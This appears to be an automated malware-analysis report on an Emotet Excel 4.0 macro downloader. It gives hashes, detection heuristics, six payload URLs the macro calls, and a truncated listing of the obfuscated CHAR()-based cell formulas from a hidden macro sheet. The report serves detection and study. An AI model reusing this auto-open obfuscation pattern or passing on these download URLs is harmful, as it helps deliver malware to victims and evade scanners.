Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 8904f28b3382154b…

MALICIOUS

Office (OLE) / .XLSX

126.5 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel First seen: 2022-03-29
MD5: f4f34f7c6fd15e2c1c7c54cd6e1a6b5f SHA-1: 98856dea9f1fa536520f37f415c32095cc925b8f SHA-256: 8904f28b3382154bcfc0a6230df21b35457a686c3e67023424c8f3fa9c1381c6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a strong indicator of malicious intent. These macros are designed to execute dangerous API calls, including RUN, and reconstruct a list of URLs. The primary function of the macro appears to be downloading and executing a second-stage payload from one of the provided URLs, as indicated by the ClamAV detection for Emotet.

Heuristics 6

  • ClamAV: Xls.Downloader.Emotet-adc2d23d2dc26dd0-9950240-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-adc2d23d2dc26dd0-9950240-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (6 URLs) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://drvishalchestclinic.com/wp-includes/SqqCZQ6y2uyFF/ Referenced by macro
    • http://funestotal.com/5aclo1em/21U/Referenced by macro
    • http://g-wizcomputers.com/party/61W0ovBu86/Referenced by macro
    • http://primefind.com/1mall-uk/h5/Referenced by macro
    • http://la-csi.com/mt-admin/BB7/Referenced by macro
    • https://pancook.com/newsite/H6xxeLefX1I2vgJFM1Y/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
baa385ee141091e506d4fc8952e60f349e2a144300202c59dbc3e03ea3f9b493
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6541 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Shee
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Rjmh
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Ldgb
' 0085     13 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Vrgb
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  EGVE
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  P
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  P
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.ARABIC hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     27 LABEL : Cell Value, String Constant - UJFD1 len=7 ptgRef3d  Shee!D9 
' 0018     27 LABEL : Cell Value, String Constant - UJFD2 len=7 ptgRef3d  Shee!D11 
' 0018     27 LABEL : Cell Value, String Constant - UJFD3 len=7 ptgRef3d  Shee!D13 
' 0018     27 LABEL : Cell Value, String Constant - UJFD4 len=7 ptgRef3d  Shee!D15 
' 0018     27 LABEL : Cell Value, String Constant - UJFD5 len=7 ptgRef3d  Shee!D17 
' 0018     27 LABEL : Cell Value, String Constant - UJFD6 len=7 ptgRef3d  Shee!D19 
' 0018     27 LABEL : Cell Value, String Constant - UJFD7 len=7 ptgRef3d  Shee!D21 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Shee!D1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Rjmh,E2,CHAR(113-2),""
'  Rjmh,G2,CHAR(111-6),""
'  Rjmh,L2,CHAR(71-6),""
'  Rjmh,C3,CHAR(111+3),""
'  Rjmh,I3,CHAR(87-4),""
'  Rjmh,P3,CHAR(90+2),""
'  Rjmh,F4,CHAR(100-18),""
'  Rjmh,H4,CHAR(110-9),""
'  Rjmh,K4,"",1.00000000000000000000
'  Rjmh,N4,CHAR(89-1),""
'  Rjmh,B5,CHAR(115+2),""
'  Rjmh,P5,CHAR(44+2),""
'  Rjmh,E6,CHAR(90-6),""
'  Rjmh,J6,CHAR(77-3),""
'  Rjmh,D7,CHAR(107+3),""
'  Rjmh,F7,"",3.00000000000000000000
'  Rjmh,M7,CHAR(117-2),""
'  Rjmh,P7,CHAR(41+3),""
'  Rjmh,C9,CHAR(110-2),""
'  Rjmh,H9,CHAR(70-3),""
'  Rjmh,K9,CHAR(55-7),""
'  Rjmh,P9,CHAR(55+5),""
'  Rjmh,F10,CHAR(123-4),""
'  Rjmh,E11,CHAR(80+5),""
'  Rjmh,J11,CHAR(80-7),""
'  Rjmh,L11,CHAR(100-1),""
'  Rjmh,P11,CHAR(35+5),""
'  Rjmh,A12,CHAR(107+2),""
'  Rjmh,D13,CHAR(72-4),""
'  Rjmh,H13,CHAR(68+1),""
'  Rjmh,N13,"",2.00000000000000000000
'  Rjmh,P13,CHAR(36+5),""
'  Rjmh,G14,CHAR(124-4),""
'  Rjmh,K14,CHAR(70-4),""
'  Rjmh,B15,CHAR(80-4),""
'  Rjmh,F15,CHAR(105-5),""
'  Rjmh,P15,CHAR(31+3),""
'  Rjmh,D17,CHAR(102-5),""
'  Rjmh,I17,CHAR(78+1),""
'  Rjmh,P17,CHAR(40-2),""
'  Rjmh,B18,
... (truncated)